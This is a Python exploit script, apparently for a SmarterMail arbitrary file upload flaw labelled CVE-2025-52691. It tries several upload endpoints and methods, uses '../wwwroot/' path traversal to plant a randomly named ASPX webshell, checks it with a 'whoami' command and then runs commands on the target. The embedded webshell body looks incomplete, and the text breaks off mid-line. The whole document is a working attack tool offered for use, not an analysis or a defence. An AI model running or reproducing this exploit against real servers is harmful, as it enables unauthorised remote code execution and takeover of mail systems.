#!/usr/bin/env python3 import sys import argparse import requests import uuid import base64 from typing import Optional, Tuple from dataclasses import dataclass from enum import Enum from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) class ExploitResult(Enum): SUCCESS = "success" SHELL_UPLOADED = "shell_uploaded" FAILED = "failed" ERROR = "error" @dataclass class TargetConfig: base_url: str timeout: int = 30 verify_ssl: bool = False class SmarterMailExploit: UPLOAD_ENDPOINTS = [ "/api/upload", "/api/v1/upload", "/Interface/Frmx/UploadFile.aspx", "/MRS/Upload.ashx", "/Services/Upload.ashx" ] ASPX_WEBSHELL = """<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> """ def __init__(self, config: TargetConfig): self.config = config self.session = requests.Session() self.shell_name = None self.shell_path = None def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]: url = f"{self.config.base_url}{endpoint}" kwargs.setdefault("timeout", self.config.timeout) kwargs.setdefault("verify", self.config.verify_ssl) try: return self.session.request(method, url, **kwargs) except requests.exceptions.RequestException: return None def check_alive(self) -> bool: response = self._request("GET", "/") return response is not None def generate_shell_name(self) -> str: return f"{uuid.uuid4().hex[:8]}.aspx" def upload_shell_multipart(self, endpoint: str, shell_content: str, filename: str) -> bool: files = { "file": (filename, shell_content, "application/octet-stream") } data = { "path": "../wwwroot/", "folder": "../wwwroot/", "directory": "../wwwroot/" } response = self._request("POST", endpoint, files=files, data=data) if response and response.status_code in [200, 201, 204]: return True return False def upload_shell_raw(self, endpoint: str, shell_content: str, filename: str) -> bool: headers = { "Content-Type": "application/octet-stream", "X-Filename": filename, "X-Path": "../wwwroot/" } response = self._request("POST", endpoint, data=shell_content.encode(), headers=headers) if response and response.status_code in [200, 201, 204]: return True return False def upload_shell_json(self, endpoint: str, shell_content: str, filename: str) -> bool: payload = { "filename": filename, "content": base64.b64encode(shell_content.encode()).decode(), "path": "../wwwroot/", "overwrite": True } headers = {"Content-Type": "application/json"} response = self._request("POST", endpoint, json=payload, headers=headers) if response and response.status_code in [200, 201, 204]: return True return False def verify_shell(self, shell_name: str) -> Tuple[bool, str]: paths = [ f"/{shell_name}", f"/wwwroot/{shell_name}", f"/Interface/{shell_name}", f"/MRS/{shell_name}" ] for path in paths: response = self._request("GET", f"{path}?cmd=whoami") if response and response.status_code == 200: if "pre" in response.text.lower() or "\\" in response.text: return True, path return False, "" def execute_command(self, command: str) -> Optional[str]: if not self.shell_path: return None response = self._request("GET", f"{self.shell_path}?cmd={command}") if response and response.status_code == 200: import re match = re.search(r"
(.*?)", response.text, re.DOTALL) if match: return match.group(1).strip() return response.text return None def exploit(self) -> ExploitResult: if not self.check_alive(): return ExploitResult.ERROR self.shell_name = self.generate_shell_name() for endpoint in self.UPLOAD_ENDPOINTS: upload_methods = [ self.upload_shell_multipart, self.upload_shell_raw, self.upload_shell_json ] for upload_method in upload_methods: try: if upload_method(endpoint, self.ASPX_WEBSHELL, self.shell_name): success, path = self.verify_shell(self.shell_name) if success: self.shell_path = path return ExploitResult.SHELL_UPLOADED except Exception: continue success, path = self.verify_shell(self.shell_name) if success: self.shell_path = path return ExploitResult.SHELL_UPLOADED return ExploitResult.FAILED def parse_arguments() -> argparse.Namespace: parser = argparse.ArgumentParser( description="CVE-2025-52691: SmarterMail Arbitrary File Upload RCE", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("target", help="Target URL (e.g., http://mail.example.com)") parser.add_argument("-c", "--command", help="Command to execute after upload") parser.add_argument("-t", "--timeout", type=int, default=30, help="Request timeout") parser.add_argument("--check-only", action="store_true", help="Only check if target is alive") return parser.parse_args() def main() -> int: args = parse_arguments() base_url = args.target.rstrip("/") if not base_url.startswith("http"): base_url = f"https://{base_url}" config = TargetConfig(base_url=base_url, timeout=args.timeout) exploit = SmarterMailExploit(config) print(f"\n[*] Target: {config.base_url}") print(f"[*] CVE-2025-52691: SmarterMail Arbitrary File Upload RCE\n") if not exploit.check_alive(): print("[-] Target is not reachable") return 1 print("[+] Target is alive") if args.check_only: print("[*] Check only mode - target appears to be SmarterMail") return 0 print("[*] Attempting unauthenticated file upload...") print(f"[*] Shell name: {exploit.shell_name or exploit.generate_shell_name()}") result = exploit.exploit() if result == ExploitResult.SHELL_UPLOADED: print(f"\n[!] WEBSHELL UPLOADED SUCCESSFULLY") print(f"[+] Shell path: {exploit.shell_path}") print(f"[+] Access: {config.base_url}{exploit.shell_path}?cmd=